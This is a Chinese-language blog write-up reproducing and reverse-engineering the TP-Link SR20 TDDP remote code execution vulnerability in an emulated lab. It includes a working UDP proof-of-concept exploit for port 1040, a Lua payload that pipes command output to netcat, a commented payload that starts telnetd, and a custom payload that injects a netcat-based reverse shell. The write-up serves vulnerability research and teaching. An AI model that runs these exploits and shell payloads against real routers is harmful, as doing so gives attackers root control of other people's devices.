😀
TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器 此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令 该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中 TDDP 是 TP-Link 申请了专利的调试协议 基于 UDP 运行在 1040 端口
TP-Link SR20 设备运行了 V1 版本的 TDDP 协议 V1 版本无需认证 只需往 SR20 设备的 UDP 1040 端口发送数据 且数据的第二字节为 0x31
时 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行 这就导致存在远程代码执行漏洞
固件选用官网提供的SR20(US)_V1_180518
固件未加密 可以直接使用binwalk提取出文件系统
bashbinwalk -Me ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
尝试使用FirmAE模拟环境 发现可以模拟出Web服务但是无法进入Debug模式终端 故选择手动模拟
从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件
下载完成完成之后配置虚拟网卡
bash$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
启动QEMU虚拟机 账户密码 root-root
bash$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
配置虚拟机网卡 配置完成后网络与物理机相通
bash$ ifconfig eth0 10.10.10.2/24
然后将文件系统打包过来之后挂载目录 并且使用chroot
切换根目录即可
bash$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh
物理机需要安装安装atftpd
搭建TFTP
来为QEMU虚拟机提供下载服务
bash$ sudo apt install atftpd
在安装之后需要修改配置文件/etc/default/atftpd
更改一下FTP根目录方便我们操作
confUSE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
启动服务
bash$ sudo systemctl start atftpd
如果出现
atftpd: can't bind port :69/udp
bash$ sudo systemctl stop inetutils-inetd.service $ sudo systemctl restart atftpd
在atftp根目录下写入payload
shfunction config_test(config)
os.execute("id | nc 10.10.10.1 1337")
end
启动虚拟机中tddp服务
bash$ tddp
物理机监听1337端口
bash$ nc -lvnp 1337
调用POC
bash$ python3 poc.py 10.10.10.2 /payload
代码得到执行
POC如下
python#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
通过漏洞复现很明显漏洞存在于/usr/tddp
中 使用IDA进行逆向分析 并且可以通过字符串定位关键函数
在启动时有字符串tddp task start
使用IDA 定位到函数sub_936C
上层继续看一眼 发现是分流 且为最顶层 故认为是main函数 那么继续分析sub_936C
即可
内部大部分函数功能都能一眼看出来 这里直接给出函数重命名后的sub_936C
分析后发现没有接收数据的函数 判断sub_16418
为数据接受相关 重点转向sub_16418
发现在sub_16418
中确实存在大量sendto()
和recvfrom()
确定为数据接收相关
从32行v18 = recvfrom(v14[9], (char *)v14 + 0xB01B, 0xAFC8u, 0, &addr, &addr_len);
可以知道数据是存在v14+0xB01B
的 以此为依据可以向下继续追数据相关的操作 或者可以根据之前复现时的字符串都可以定位到数据处理关键函数sub_15E74
逐一看过来 发现基本都是测试和debug用的函数 直到case 0x31
的位置
这里调用了CMD_FTEST_CONFIG
进入之后发现在68行位置有shell命令拼接操作
向上追 发现在59行处进行的参数解析 其中v21
为原始字符串 且v21
指向v10+0xB01B
很明显指向传入的数据处 很明显的命令拼接存在漏洞 就看内部有没有过滤了 追入sub_91DC
发现无过滤 直接得到执行 则此处存在命令注入漏洞
这里IDA反编译有错误 可以看看Frida 可以看到如果成功加载之后会调用lua脚本中的config_test函数 此处也可以使用config_test进行命令执行
首先是在sub_16418
中 因为我们想要程序流向sub_15E74
所以必须满足v2==1
且v2 = *v20 =v14 + 0xB01B
即我们输入的第一个字节 所以第一个字节为0x1
进入到sub_15E74
后 switch case语句的判断标准是a1[0xB01C]
且a1为传入的参数即v14
而我们需要程序流入case 0x31
所以确定第二个字节为0x31
进入到case 0x31
后 v21
由v15
控制 且v15==1
所以v21+=12
所以输入的字符串应该在12
pythonimport socket
import binascii
from pwn import *
socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'/payload;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
pythonimport socket
import binascii
from pwn import *
socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'aa 10.10.10.1||nc 10.10.10.1 7777|/bin/sh|nc 10.10.10.1 8888 #;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
在后面新版固件中直接砍掉了case 0x31
彻底修复了漏洞(doge)
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!